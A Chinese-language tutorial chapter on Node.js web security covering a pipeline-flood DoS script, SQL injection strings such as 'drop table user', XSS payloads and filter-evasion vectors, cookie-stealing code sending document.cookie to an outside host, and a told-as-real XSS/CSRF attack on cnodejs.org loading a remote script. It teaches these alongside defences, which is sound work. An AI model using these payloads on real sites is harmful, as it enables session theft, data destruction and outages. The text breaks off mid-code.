web安全實戰

前言

本章將主要介紹使用Node.js開發web應用可能面臨的安全問題,讀者經過閱讀本章能夠了解web安全的基本概念,而且經過各類防護措施抵禦一些常規的惡意攻擊,搭建一個安全的web站點。javascript

在學習本章以前,讀者須要對HTTP協議、SQL數據庫、Javascript有所瞭解。php

什麼是web安全

在互聯網時代,數據安全與我的隱私受到了史無前例的挑戰,咱們做爲網站開發者,必須讓一個web站點知足基本的安全三要素:css

(1)機密性,要求保護數據內容不能泄露,加密是實現機密性的經常使用手段。html

(2)完整性,要求用戶獲取的數據是完整不被篡改的,咱們知道不少OAuth協議要求進行sign簽名,就是保證了雙方數據的完整性。前端

(3)可用性,保證咱們的web站點是可被訪問的,網站功能是正常運營的,常見DoS(Denail of Service 拒絕服務)攻擊就是破壞了可用性這一點。java

安全的定義和意識

web安全的定義根據攻擊手段來分,咱們把它分爲以下兩類:node

(1)服務安全,確保網絡設備的安全運行,提供有效的網絡服務。nginx

(2)數據安全,確保在網上傳輸數據的保密性、完整性和可用性等。git

咱們以後要介紹的SQL注入,XSS攻擊等都是屬於數據安全的範疇,DoSSlowlori攻擊等都是屬於服務安全範疇。程序員

在黑客世界中,用帽子的顏色比喻黑客的「善惡」,精通安全技術,工做在反黑客領域的安全專家咱們稱之爲白帽子,而黑帽子則是利用黑客技術謀取私利的犯罪羣體。一樣都是搞網絡安全研究,黑、白帽子的職責徹底不一樣,甚至能夠說是對立的。對於黑帽子而言,他們只要找到系統的一個切入點就能夠達到入侵破壞的目的,而白帽子必須將本身系統全部可能被突破的地方都設防,保證系統的安全運行。因此咱們在設計架構的時候就應該有安全意識,時刻保持清醒的頭腦,可能咱們的web站點100處都佈防很好,只有一個點疏忽了,攻擊者就會利用這個點進行突破,讓咱們另外100處的努力也白費。

一樣安全的運營也是很是重要的,咱們爲web站點創建起堅固的壁壘,而運營人員隨意使用root賬號,給核心服務器開通外網訪問IP等等一系列違規操做,會讓咱們的壁壘瞬間崩塌。

Node.js中的web安全

Node.js做爲一門新型的開發語言,不少開發者都會用它來快速搭建web站點,期間隨着版本號的更替也修復了很多漏洞。由於Node.js提供的網絡接口較PHP更爲底層,同時沒有如apachenginx等web服務器的前端保護,Node.js應該更加關注安全方面的問題。

Http管道洪水漏洞

在Node.js版本0.8.260.10.21以前,都存在一個管道洪水的拒絕服務漏洞(pipeline flood DoS)。官網在發佈這個漏洞修復代碼以後,強烈建議在生產環境使用Node.js的版本升級到0.8.260.10.21,由於這個漏洞威力巨大,攻擊者能夠用很廉價的普通PC輕易的擊潰一個正常運行的Node.js的HTTP服務器。

這個漏洞產生的緣由很簡單,主要是由於客戶端不接收服務端的響應,但客戶端又拼命發送請求,形成Node.js的Stream流沒法泄洪,主機內存耗盡而崩潰,官網給出的解釋以下:

當在一個鏈接上的客戶端有不少HTTP請求管道,而且客戶端沒有讀取Node.js服務器響應的數據,Node.js的服務將可能被擊潰。強烈建議任何在生產環境下的版本是0.80.10HTTP服務器都儘快升級。新版本Node.js修復了問題,當服務端在等待stream流的drain事件時,socketHTTP解析將會中止。在攻擊腳本中,socket最終會超時,並被服務端關閉鏈接。若是客戶端並非惡意攻擊,只是發送大量的請求,可是響應很是緩慢,那麼服務端響應的速度也會相應下降。

如今讓咱們看一下這個漏洞形成的殺傷力吧,咱們在一臺4cpu,4G內存的服務器上啓動一個Node.js的HTTP服務,Node.js版本爲0.10.7。服務器腳本以下:

var http = require('http');
var buf = new Buffer(1024*1024);//1mb buffer
buf.fill('h');
http.createServer(function (request, response) {
    response.writeHead(200, {'Content-Type': 'text/plain'});
    response.end(buf);
}).listen(8124);
console.log(process.memoryUsage());
setInterval(function(){//per minute memory usage
    console.log(process.memoryUsage());
},1000*60)

上述代碼咱們啓動了一個Node.js服務器,監聽8124端口,響應1mb的字符h,同時每分鐘打印Node.js內存使用狀況,方便咱們在執行攻擊腳本以後查看服務器的內存使用狀況。

在另一臺一樣配置的服務器上啓動以下攻擊腳本:

var net = require('net');
var attack_str = 'GET / HTTP/1.1\r\nHost: 192.168.28.4\r\n\r\n'
var i = 1000000;//10W次的發送
var client = net.connect({port: 8124, host:'192.168.28.4'},
    function() { //'connect' listener
        while(i--){
          client.write(attack_str);
          }
    });
client.on('error', function(e) {
    console.log('attack success');
});

咱們的攻擊腳本加載了net模塊,而後定義了一個基於HTTP協議的GET方法的請求頭,而後咱們使用tcp鏈接到Node.js服務器,循環發送10W次GET請求,可是不監聽服務端響應事件,也就沒法對服務端響應的stream流進行消費。下面是在攻擊腳本啓動10分鐘後,web服務器打印的內存使用狀況:

{ rss: 10190848, heapTotal: 6147328, heapUsed: 2632432 }
{ rss: 921882624, heapTotal: 888726688, heapUsed: 860301136 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189239056 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189251728 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189263768 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189270888 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189278008 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189285096 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189292216 }
{ rss: 1250893824, heapTotal: 1211065584, heapUsed: 1189301864 }

咱們在服務器執行top命令,查看的系統內存使用狀況以下:

Mem:   3925040k total,  3290428k used,   634612k free,   170324k buffers

能夠看到,咱們的攻擊腳本只用了一個socket鏈接就消耗掉大量服務器的內存,更可怕的是這部份內存不會自動釋放,須要手動重啓進程才能回收。攻擊腳本執行以後Node.js進程佔用內存比以前提升近200倍,若是有2-3個惡意攻擊socket鏈接,服務器物理內存必然用完,而後開始頻繁的交換,從而失去響應或者進程崩潰。

SQL注入

從1998年12月SQL注入首次進入人們的視線,至今已經有十幾年了,雖然咱們已經有了很全面的防範SQL注入的對策,可是它的威力仍然不容小覷。

注入技巧

SQL注入你們確定不會陌生,下面就是一個典型的SQL注入示例:

var userid = req.query["userid"];
var sqlStr = 'select * from user where id="'+ userid +'"';
connection.query(sqlStr, function(err, userObj) {
    // ...
});

正常狀況下,咱們均可以獲得正確的用戶信息,好比用戶經過瀏覽器訪問/user/info?id=11進入我的中心,而咱們根據用戶傳遞的id參數展示此用戶的詳細信息。可是若是有惡意用戶的請求地址爲/user/info?id=11";drop table user--,那麼最後拼接而成的SQL查詢語句就是:

select * from user where id = "11";drop table user--

注意最後連續的兩個減號表示忽略此SQL語句後面的語句。本來執行的查詢用戶信息的SQL語句,在執行完畢以後會把整個user表丟棄掉。

這是另一個簡單的注入示例,好比用戶的登陸接口查詢,咱們會根據用戶的登陸名和密碼去數據庫查找匹配,若是找到相應的記錄,則表示用戶名和密碼匹配,提示用戶登陸成功;若是沒有找到記錄,則認爲用戶名或密碼錯誤,表示登陸失敗,代碼以下:

var username = req.body["username"];
var password = md5(req.body["password"]+salt);//對密碼加密
var sqlStr = 'select * from user where username="'+ username +'" and password="'+ password +'";

若是咱們提交上來的用戶名參數是這樣的格式:snoopy" and 1=1--,那麼拼接以後的SQL查詢語句就是以下內容:

select * from user where username = "snoopy" and 1=1-- " and password="698d51a19d8a121ce581499d7b701668";

執行這樣的SQL語句永遠會匹配到用戶數據,就算咱們不知道密碼也能順利登陸到系統。若是在咱們嘗試注入SQL的網站開啓了錯誤提示顯示,會爲攻擊者提供便利,好比攻擊者經過反覆調整發送的參數、查看錯誤信息,就能夠猜想出網站使用的數據庫和開發語言等信息。

好比有一個信息發佈網站,它的新聞詳細頁面url地址爲/news/info?id=11,咱們經過分別訪問/news/info?id=11 and 1=1/news/info?id=11 and 1=2,就能夠基本判斷此網站是否存在SQL注入漏洞,若是前者能夠訪問然後者頁面沒法正常顯示的話,那就能夠判定此網站是經過以下的SQL來查詢某篇新聞內容的:

var sqlStr = 'select * from news where id="'+id+'"';

由於1=2這個表達式永遠不成立,因此就算id參數正確也沒法經過此SQL語句返回真正的數據,固然就會出現沒法正常顯示頁面的狀況。咱們能夠使用一些檢測SQL注入點的工具來掃描一個網站哪些地方具備SQL注入的可能。

經過url參數和form表單提交的數據內容,開發者一般都會爲之作嚴密防範,開發人員一定會對用戶提交上來的參數作一些正則判斷和過濾,再丟到SQL語句中去執行。可是開發人員可能不太會去關注用戶HTTP的請求頭,好比cookie中存儲的用戶名或者用戶id,referer字段以及User-Agent字段。

好比,有的網站可能會去記錄註冊用戶的設備信息,一般記錄用戶設備信息是根據請求頭中的User-Agent字段來判斷的,拼接以下查詢字符串就有存在SQL注入的可能。

var username = escape(req.body["username"]);//使用escape函數,過濾SQL注入
var password = md5(req.body["password"]+salt);//對密碼加密
var agent = req.header["user-agent"];//注意Node.js的請求頭字段都是小寫的
var sqlStr = 'insert into user username,password,agent values "'+username+'", "'+password+'", "'+agent+'"';

這時候咱們經過發包工具,僞造HTTP請求頭,若是將請求頭中的User-Agent修改成:';drop talbe user--,咱們就成功注入了網站。

防範措施

防範SQL注入的方法很簡單,只要保證咱們拼接到SQL查詢語句中的變量都通過escape過濾函數,就基本能夠杜絕注入了,因此咱們必定要養成良好的編碼習慣,對客戶端請求過來的任何數據都要持懷疑態度,將它們過濾以後再丟到SQL語句中去執行。咱們也能夠使用一些比較成熟的ORM框架,它們會幫咱們阻擋掉SQL注入攻擊。

XSS腳本攻擊

XSS是什麼?它的全名是:Cross-site scripting,爲了和CSS層疊樣式表區分,因此取名XSS。它是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。它容許惡意用戶將代碼注入到網頁上,其餘用戶在觀看網頁時就會受到影響。這類攻擊一般包含了HTML標籤以及用戶端腳本語言。

名城蘇州網站注入

XSS注入常見的重災區是社交網站和論壇,越是讓用戶自由輸入內容的地方,咱們就越要關注其可否抵禦XSS攻擊。XSS注入的攻擊原理很簡單,構造一些非法的url地址或js腳本讓HTML標籤溢出,從而形成注入。通常引誘用戶點擊才觸發的漏洞咱們稱爲反射性漏洞,用戶打開頁面就觸發的稱爲注入型漏洞,固然注入型漏洞的危害更大一些。下面先用一個簡單的實例來講明XSS注入無處不在。

名城蘇州(www.2500sz.com),是蘇州本地門戶網站,日均的pv數也達到了150萬,它的論壇用戶數不少,是本地化新聞、社區論壇作的比較成功的一個網站。

接下來咱們將演示一個注入到2500sz.com的案例,咱們先註冊成一個2500sz.com站點會員,進入論壇板塊,開始發佈新帖。打開發帖頁面,在web編輯器中輸入以下內容:

2500 xss 1

上面的代碼即爲分享一個網絡圖片,咱們在圖片的src屬性中直接寫入了javascript:alert('xss');,操做成功後生成帖子,用IE六、7的用戶打開此帖子就會出現下圖的alert('xss')彈窗。

2500 xss 2

固然咱們要將標題設計的很是奪人眼球,好比「Pm2.5霧霾真相披露」 ,而後將裏面的alert換成以下惡意代碼:

location.href='http://www.xss.com?cookie='+document.cookie;

這樣咱們就獲取到了用戶cookie的值,若是服務端session設置過時很長的話,之後就能夠僞造這個用戶的身份成功登陸而再也不須要用戶名密碼,關於sessioncookie的關係咱們在下一節中將會詳細講到。這裏的location.href只是出於簡單,若是作了跳轉這個帖子很快會被管理員刪除,但咱們寫以下代碼,而且帖子的內容也是真實的,那麼就會禍害不少人:

var img = document.createElement('img');
img.src='http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);

這樣就神不知鬼不覺的把當前用戶cookie的值發送到惡意站點,惡意站點經過GET參數,就能獲取用戶cookie的值。經過這個方法能夠拿到用戶各類各樣的私密數據。

Ajax的XSS注入

另外一處容易形成XSS注入的地方是Ajax的不正確使用。

好比有這樣的一個場景,在一篇博文的詳細頁,不少用戶給這篇博文留言,爲了加快頁面加載速度,項目經理要求先顯示博文的內容,而後經過Ajax去獲取留言的第一頁信息,留言功能經過Ajax分頁保證了頁面的無刷新和快速加載,此作法的好處有:

(1)加快了博文詳細頁的加載,提高了用戶體驗,由於留言信息每每有用戶頭像、暱稱、id等等,須要多表查詢,且通常用戶會先看博文,再拉下去看留言,這時留言已加載完畢。

(2)Ajax的留言分頁能更快速響應,用戶沒必要每次分頁都讓博文從新刷新。

因而前端工程師從PHP那獲取了json數據以後,將數據放入DOM文檔中,你們能看出下面代碼的問題嗎?

var commentObj = $('#comment');
$.get('/getcomment', {r:Math.random(),page:1,article_id:1234},function(data){
    //經過Ajax獲取評論內容,而後將品論的內容一塊兒加載到頁面中
    if(data.state !== 200)  return commentObj.html('留言加載失敗。')
    commentObj.html(data.content);
},'json');

咱們設計的初衷是,PHP程序員將留言內容套入模板,返回json格式數據,示例以下:

{"state":200, "content":"模板的字符串片斷"}

若是沒有看出問題,你們能夠打開firebug或者chrome的開發人員工具,直接把下面代碼粘貼到有JQuery插件的網站中運行:

$('div:first').html('<div><script>alert("xss")</script><div>');

正常彈出了alert框,你可能以爲這比較小兒科。

若是PHP程序員已經轉義了尖括號<>還有單雙引號"',那麼上面的惡意代碼會被漂亮的變成以下字符輸出到留言內容中:

$('div:first').html('&lt;script&gt; alert(&quot;xss&quot;)&lt;/script&gt; ');

這裏咱們須要表揚一下PHP程序員,能夠將一些常規的XSS注入都屏蔽掉,可是在utf-8編碼中,字符還有另外一種表示方式,那就是unicode碼,咱們把上面的惡意字符串改寫成以下:

$('div:first').html('<div>\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e</div>');

你們發現仍是輸出了alert框,只是此次須要將寫好的惡意代碼放入轉碼工具中作下轉義,webqq曾經就爆出過上面這種unicode碼的XSS注入漏洞,另外有不少反射型XSS漏洞由於過濾了單雙引號,因此必須使用這種方式進行注入。

base64注入

除了比較老的ie六、7瀏覽器,通常瀏覽器在加載一些圖片資源的時候咱們能夠使用base64編碼顯示指定圖片,好比下面這段base64編碼:

<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEU (... 省略若干字符) AAAASUVORK5CYII=" />

表示的就是一張Node.js官網的logo,圖片以下:

base64 logo

咱們通常使用這樣的技術把一些網站經常使用的logo或者小圖標轉存成爲base64編碼,進而減小一次客戶端向服務器的請求,加快用戶加載頁面速度。

咱們還能夠把HTML頁面的代碼隱藏在data屬性之中,好比下面的代碼將打開一個hello world的新頁面。

<a href="data:text/html;ascii,<html><title>hello</title><body>hello world</body></html>">click me</a>

根據這樣的特性,咱們就能夠嘗試把一些惡意的代碼轉存成爲base64編碼格式,而後注入到a標籤裏去,從而造成反射型XSS漏洞,咱們編碼以下代碼。

<img src=x onerror=alert(1)>

通過base64編碼以後的惡意代碼以下。

<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">base64 xss</a>

用戶在點擊這個超連接以後,就會執行如上的惡意alert彈窗,就算網站開發者過濾了單雙引號",'和左右尖括號<>,注入仍是可以生效的。

不過這樣的注入由於跨域的問題,惡意腳本是沒法獲取網站的cookie值。另外若是網站提供咱們自定義flash路徑,也是能夠使用相同的方式進行注入的,下面是一段規範的在網頁中插入flash的代碼:

<object type="application/x-shockwave-flash" data="movie.swf" width="400" height="300">
<param name="movie" value="movie.swf" />
</object>

把data屬性改寫成以下惡意內容,也可以經過base64編碼進行注入攻擊:

<script>alert("Hello");</script>

通過編碼事後的注入內容:

<object data="data:text/html;base64, PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="></object>

用戶在打開頁面後,會彈出alert框,可是在chrome瀏覽器中是沒法獲取到用戶cookie的值,由於chrome會認爲這個操做不安全而禁止它,看來咱們的瀏覽器爲用戶安全也作了很多的考慮。

經常使用注入方式

注入的根本目的就是要HTML標籤溢出,從而執行攻擊者的惡意代碼,下面是一些經常使用攻擊手段:

(1)alert(String.fromCharCode(88,83,83)),經過獲取字母的ascii碼來規避單雙引號,這樣就算網站過濾掉單雙引號也仍是能夠成功注入的。

(2)<IMG SRC=JaVaScRiPt:alert('XSS')>,經過注入img標籤來達到攻擊的目的,這個只對ie6和ie7下有效,意義不大。

(3)<IMG SRC=""onerror="alert('xxs')">,若是能成功閉合img標籤的src屬性,那麼加上onload或者onerror事件能夠更簡單的讓用戶遭受攻擊。

(4)<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>,這種方式也只有對ie6奏效。

(5)<IMG SRC="jav ascript:alert('XSS');"><IMG SRC=java\0script:alert(\"XSS\")>,<IMG SRC="jav&#x0D;ascript:alert('XSS');">,咱們也能夠把關鍵字Javascript分開寫,避開一些簡單的驗證,這種方式ie6通通中招,因此ie6真不是安全的瀏覽器。

(6)<LINK REL="stylesheet" HREF="javascript:alert('XSS');">,經過樣式表也能注入。

(7)<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>,若是能夠自定義style樣式,也可能被注入。

(8)<IFRAME SRC="javascript:alert('XSS');"></IFRAME>,iframe的標籤也可能被注入。

(9)<a href="javasc&NewLine;ript&colon;alert(1)">click</a>,利用&NewLine;假裝換行,&colon;假裝冒號,從而避開對Javascript關鍵字以及冒號的過濾。

其實XSS注入過程充滿智慧,只要你反覆嘗試各類技巧,就可能在網站的某處攻擊成功。總之,發揮你的想象力去注入吧,最後別忘了提醒下站長哦。更多XSS注入方式參閱:(XSS Filter Evasion Cheat Sheet)[https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet]

防範措施

對於防範XSS注入,其實只有兩個字過濾,必定要對用戶提交上來的數據保持懷疑,過濾掉其中可能注入的字符,這樣才能保證應用的安全。另外,對於入庫時過濾仍是讀庫時過濾,這就須要根據應用的類型來進行選擇了。下面是一個簡單的過濾HTML標籤的函數代碼:

var escape = function(html){
  return String(html)
    .replace(/&(?!\w+;)/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
};

不過上述的過濾方法會把全部HTML標籤都轉義,若是咱們的網站應用確實有自定義HMTL標籤的需求的話,它就力不從心了。這裏我推薦一個過濾XSS注入的模塊,由本書另外一位做者老雷提供:js-xss

CSRF請求僞造

CSRF是什麼呢?CSRF全名是Cross-site request forgery,是一種對網站的惡意利用,CSRFXSS更具危險性。

Session詳解

想要深刻理解CSRF攻擊的特性,咱們必須瞭解網站session的工做原理。

session我想你們都不會陌生,不管你用Node.js或PHP開發過網站的確定都用過session對象,假如我把瀏覽器的cookie禁用了,你們認爲session還能正常工做嗎?

答案是否認的,我舉個簡單的例子來幫助你們理解session的含義。

好比我辦了一張超市的儲值會員卡,我能享受部分商品打折的優惠,個人我的資料以及卡內餘額都是保存在超市會員數據庫裏的。每次結帳時,出示會員卡超市便能知道個人身份,隨即進行打折優惠並扣除卡內相應餘額。

這裏咱們的會員卡卡號就至關於保存在cookie中的sessionid,而個人我的信息就是保存在服務端的session對象,由於cookie有兩個重要特性,(1)同源性,保證了cookie不會跨域發送形成泄密;(2)附帶性,保證每次請求服務端都會在請求頭中帶上cookie信息。也就是這兩個特性爲咱們識別用戶帶來的便利,由於HTTP協議是無狀態的,咱們之因此知道請求用戶的身份,其實就是獲取了用戶請求頭中的cookie信息。

固然session對象的保存方法多種多樣,能夠保存在文件中,也能夠是內存裏。考慮到分佈式的橫向擴展,咱們仍是建議生產環境把它保存在第三方媒介中,好比redis或者mongodb,默認的express框架是將session對象保存在內存裏的。

除了用cookie保存sessionid,咱們還能夠使用url參數來保存sessionid,只不過每次請求都須要在url裏帶上這個參數,根據這個參數,咱們就能識別這次請求的用戶身份了。

另外近階段利用Etag來保存sessionid也被使用在用戶行爲跟蹤上,Etag是靜態資源服務器對用戶請求頭中if-none-match的響應,通常咱們第一次請求某一個靜態資源是不會帶上任何關於緩存信息的請求頭的,這時候靜態資源服務器根據此資源的大小和最終修改時間,哈希計算出一個字符串做爲Etag的值響應給客戶端,以下圖:

etag 1

第二次當咱們再訪問這個靜態資源的時候,因爲本地瀏覽器具備此圖片的緩存,可是不肯定服務器是否已經更新掉了這個靜態資源,因此在發起請求的時候會帶上if-none-match參數,其值就是上次請求服務器響應的Etag值。服務器接收到這個if-none-match的值,再根據原算法去生成Etag值,進行比對。若是兩個值相同,則說明該靜態資源沒有被更新,因而響應狀態碼304,告訴瀏覽器放心的使用本地緩存,遠程資源沒有更新,結果以下圖:

etag 2

固然若是遠程資源有變更,則服務器會響應一份新的資源給瀏覽器,而且Etag的值也會不一樣。根據這樣的一個特性,咱們能夠得出結論,在用戶第一次請求某一個靜態資源的時候咱們響應給它一個全局惟一的Etag值,在用戶不清空緩存的狀況下,用戶下次再請求到服務器,仍是會帶上同一個Etag值的,因而咱們能夠利用這個值做爲sessionid,而咱們在服務器端保存這些Etag值和用戶信息的對應關係,也就能夠利用Etag來標識出用戶身份了。

CSRF的危害性

在咱們理解了session的工做機制後,CSRF攻擊也就很容易理解了。CSRF攻擊就至關於惡意用戶複製了個人會員卡,用個人會員卡享受購物的優惠折扣,更能夠使用我購物卡里的餘額購買他的東西!

CSRF的危害性已經不言而喻了,惡意用戶能夠僞造某一個用戶的身份給其好友發送垃圾信息,這些垃圾信息的超連接可能帶有木馬程序或者一些詐騙信息(好比借錢之類的)。若是發送的垃圾信息還帶有蠕蟲連接的話,接收到這些有害信息的好友一旦打開私信中的連接,就也成爲了有害信息的散播者,這樣數以萬計的用戶被竊取了資料、種植了木馬。整個網站的應用就可能在短期內癱瘓。

MSN網站,曾經被一個美國的19歲小夥子Samy利用cssbackground漏洞幾小時內讓100多萬用戶成功的感染了他的蠕蟲,雖然這個蠕蟲並無破壞整個應用,只是在每個用戶的簽名後面都增長了一句「Samy 是個人偶像」,可是一旦這些漏洞被惡意用戶利用,後果將不堪設想。一樣的事情也曾經發生在新浪微博上。

想要CSRF攻擊成功,最簡單的方式就是配合XSS注入,因此千萬不要小看了XSS注入攻擊帶來的後果,不是alert一個對話框那麼簡單,XSS注入僅僅是第一步!

cnodejs官網攻擊實例

本節將給你們帶來一個真實的攻擊案例,學習Node.js編程的愛好者們確定都訪問過cnodejs.org,早期cnodejs僅使用一個簡單的Markdown編輯器做爲發帖回覆的工具並無作任何限制,在編輯器過濾掉HTML標籤以前,整個社區alert彈窗滿天飛,下圖就是修復這個漏洞以前的各類注入狀況:

csrf 1

先分析一下cnodejs被注入的緣由,其實原理很簡單,就是直接能夠在文本編輯器裏寫入代碼,好比:

<script>alert("xss")</script>

如此光明正大的注入確定會引發站長們的注意,因而站長關閉了markdown編輯器的HTML標籤功能,強制過濾直接在編輯器中輸入的HTML標籤。

cnodejs注入的風波暫時平息了,不過真的禁用了全部輸入的HTML標籤就安全了嗎?咱們打開cnodejs網站的發帖頁面,發現編輯器其實仍是能夠插入超連接的,這個功能就是爲了幫助開發者分享本身的web站點以及學習資料:

csrf 2

通常web編輯器的超連接功能最有可能成爲反射型XSS的注入點,下面是web編輯器一般採起的超連接功能實現的原理,根據用戶填寫的超連接地址,生成<a>標籤:

<a href="用戶填寫的超連接地址">用戶填寫的超連接描述</a>

一般咱們能夠經過下面兩種方式注入<a>標籤:

(1)用戶填寫的超連接內容 = javascript:alert("xss");
(2)用戶填寫的超連接內容 = http://www.baidu.com#"onclick="alert('xss')"

方法(1)是直接寫入js代碼,通常都會被禁用,由於服務端通常會驗證url 地址的合法性,好比是不是http或者https開頭的。

方法(2)是利用服務端沒有過濾雙引號,從而截斷<a>標籤href屬性,給這個<a>標籤增長onclick事件,從而實現注入。

很惋惜,通過升級的cnodejs網站編輯器將雙引號過濾,因此方法(2)已經行不通了。可是cnodejs並無過濾單引號,單引號咱們也是能夠利用的,因而咱們注入以下代碼:

csrf 3

咱們僞造了一個標題爲bbbb的超連接,而後在href屬性裏直接寫入js代碼alert,最後咱們利用js的註釋添加一個雙引號結尾,企圖嘗試雙引號是否轉義。若是單引號也被轉義咱們還能夠嘗試使用String.fromCharCode();的方式來注入,上圖href屬性也能夠改成:

<a href="javascript:eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41))">用戶填寫的超連接描述</a>

下圖就是XSS注入成功,<a>標籤側漏的圖片:

csrf 4

在進行一次簡單的CSRF攻擊以前,咱們須要瞭解通常網站是如何防範CSRF的。

網站一般在須要提交數據的地方埋入一個隱藏的input框,這個input框的name值多是_csrf或者_input等,這個隱藏的input框就是用來抵禦CSRF攻擊的,若是攻擊者引導用戶在其餘網站發起post請求提交表單時,會由於隱藏框的_csrf值不一樣而驗證失敗,這個_csrf值將會記錄在session對象中,因此在其餘惡意網站是沒法獲取到這個值的。

可是當站點被XSS注入以後,隱藏框的防護CSRF功能將完全失效。回到cnodejs站點,查看源碼,咱們看到網站做者把_csrf值放到閉包內,而後經過模版渲染直接輸出,這樣看上去能夠防護注入的腳本直接獲取_csrf的值,可是真的這樣嗎?咱們看下面代碼的運行截圖:

csrf 5

咱們用Ajax請求本頁地址,而後獲取整個頁面的文本,經過正則將_csrf的值匹配出來,拿到_csrf值後咱們就能夠隨心所欲了,咱們此次的攻擊的目的有2個:

(1)將我所發的這篇惡意主題置頂,要讓更多的用戶看到,想要帖子置頂,就必須讓用戶自動回覆,可是若是一旦瘋狂的自動回覆,確定會被管理員發現,將致使主題被刪除或者引發其餘受害者的注意。因此我構想了以下流程,先自動回覆主題,而後自動刪除回覆的主題,這樣就神不知鬼不覺了,用戶也不會發現本身回覆過了,管理員也不會在乎,由於帖子並無顯示垃圾信息。

(2)增長賬號snoopy的粉絲數,要讓受害者關注snoopy這個賬號,咱們只要直接僞造受害者請求,發送到關注賬號的接口地址便可,固然這也是在後臺運行的。

下面是咱們須要用到的cnodejs站點HTTP接口地址:

(1)發佈回覆
url地址:http://cnodejs.org/503cc6d5f767cc9a5120d351/reply
post數據:
r_content:頂起來,必須的
_csrf:Is5z5W5KmmKwlIAYV5UDly9F

(2)刪除回覆
請求地址:http://cnodejs.org/reply/504ffd5d5aa28e094300fd3a/delete
post數據:
reply_id:504ffd5d5aa28e094300fd3a
_csrf:Is5z5W5KmmKwlIAYV5UDly9F

(3)關注
請求地址: http://cnodejs.org/ user/follow
post數據:
follow_id: '4efc278525fa69ac690000f7',//我在cnodejs網站的用戶id
_csrf:Is5z5W5KmmKwlIAYV5UDly9F

接口咱們都拿到了,而後就是構建攻擊js腳本了,咱們的js腳本攻擊流程就是:

(1)獲取_csrf

(2)發佈回覆

(3)刪除回覆

(4)加關注

(5)跳轉到正常的地址(防止用戶發現)

最後咱們將整個攻擊腳本放在NAE上(如今NAE已經關閉了,當年是比較流行的一個部署Node.js的雲平臺),而後將攻擊代碼注入到<a>標籤:

javascript:$.getScript('http://rrest.cnodejs.net/static/cnode_csrf.js') //"id='follow_btn'name='http://rrest.cnodejs.net/static/cnode_csrf.js' onmousedown='$.getScript(this.name)//'

此次的注入攻擊chromefirefoxie7+等主流瀏覽器都無一倖免,下面是注入成功的截圖:

csrf 6

不一會就有許多網友中招了,個人關注信息記錄多了很多:

csrf 7

經過此次XSSCSRF的聯袂攻擊,snoopy成爲了cnodejs粉絲數最多的賬號。回顧整個流程,主要仍是依靠XSS注入才完成了攻擊,因此咱們想要讓站點更加安全,任何XSS可能的注入點都必定要緊緊把關,完全過濾掉任何可能有風險的字符。

csrf 8

另外值得一提的是cookie的劫持,惡意用戶在XSS注入成功以後,通常會用document.cookie來獲取用戶站點的cookie值,從而僞造用戶身份形成破壞。存儲在瀏覽器端的cookie有一個很是重要的屬性HttpOnly,當標識有HttpOnly屬性的cookie,攻擊者是沒法經過js腳本document.cookie獲取的,因此對於通常sessionid的存儲咱們都建議在寫入客戶端cookie時帶上HttpOnlyexpress在寫cookie帶上HttpOnly屬性的代碼以下:

res.cookie('rememberme', '1', { expires: new Date(Date.now() + 900000), httpOnly: true });

應用層DoS拒絕服務

本章將介紹在應用層面的DoS攻擊,應用層一些很小的漏洞,就有可能被攻擊者抓住從而形成整個系統癱瘓,包括上面提到的Node.js管道拒絕服務漏洞都是屬於這類攻擊。

應用層和網絡層的DoS

最經典的網絡層DoS就是SYN flood,它利用了tcp協議的設計缺陷,因爲tcp協議的普遍使用,因此目前想要根治這個漏洞是不可能的。

tcp的客戶端和服務端想要創建鏈接須要通過三次握手的過程,它們分別是:

(1)客戶端向服務端發送SYN包

(2)服務端向客戶端發送SYN/ACK包

(3)客戶端向服務端發送ACK包

攻擊者首先使用大量肉雞服務器並僞造源ip地址,向服務端發送SYN包,但願創建tcp鏈接,服務端就會正常的響應SYN/ACK包,等待客戶端響應。攻擊客戶端並不會去響應這些SYN/ACK包,服務端判斷客戶端超時就會丟棄這個鏈接。若是這些攻擊鏈接數量巨大,最終服務器就會由於等待和頻繁處理這種半鏈接而失去對正常請求的響應,從而致使拒絕服務攻擊成功。

一般咱們會依靠一些硬件的防火牆來減輕這類攻擊帶來的危害,網絡層的DDoS攻擊防護算法很是複雜,咱們本節將討論應用層的DoS攻擊。

應用層的DoS攻擊伴隨着必定的業務和web服務器的特性,因此攻擊更加多樣化。目前的商業硬件設備很難對其作到有效的防護,所以它的危害性絕對不比網絡層的DDoS低。

好比黑客在攻陷了幾個流量比較大的網站以後,在網頁中注入以下代碼:

<iframe src="http://attack web site url"></iframe>

這樣每一個訪問這些網站的客戶端都成了黑客攻擊目標網站的幫手,若是被攻擊的路徑是一些須要大量I/O計算的接口的話,該目標網站將會很快失去響應,黑客DoS攻擊成功。

關注應用層的DoS每每須要從實際業務入手,找到可能被攻擊的地方,作針對性的防護。

超大Buffer

在開發中總有這樣的web接口,接收用戶傳遞上來的json字符串,而後將其保存到數據庫中,咱們簡單構建以下代碼:

var http = require('http');
http.createServer(function (req, res) {
